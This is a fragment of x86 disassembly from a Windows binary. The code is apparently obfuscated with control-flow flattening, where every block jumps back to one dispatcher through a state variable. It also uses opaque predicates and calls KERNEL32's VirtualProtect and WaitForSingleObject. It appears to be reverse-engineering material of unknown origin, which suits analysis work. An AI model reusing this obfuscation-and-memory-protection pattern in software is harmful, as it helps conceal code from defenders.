mov ecx, 0xcb7585e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x1c0]
add eax, 0x18
add eax, 0x10
mov dword [ebp - 0x70], eax
mov eax, dword [0x53055c]
mov ecx, dword [0x530558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdd62bb9e
mov ecx, 0xb2334d00
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov dword [ebp - 0x1e0], 0x38645fc4
jmp 0x414773
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x1b4], 0
mov eax, dword [0x53055c]
mov ecx, dword [0x530558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xedf7f6da
mov ecx, 0x7db68b7e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [ebp - 0x1a0]
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1e0], 0xa6d9d8c6
jmp 0x414773
mov dword [ebp - 0x1e0], 0x7262d47d
jmp 0x414773
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x1e0], 0xd8620da4
jmp 0x414773
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x1e0], 0xda41e835
jmp 0x414773
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x1e0], 0xffbd73da
jmp 0x414773
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x1e0], 0xc50db9fc
jmp 0x414773
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x84]
mov esi, dword [ebp - 0x84]
sub esi, 0x4f557ca2
add esi, eax
add esi, 0x4f557ca2
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x8c]
mov edx, dword [ebp - 0x88]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x1e0], 0x88eeef0b
jmp 0x414773
jmp 0x40fa18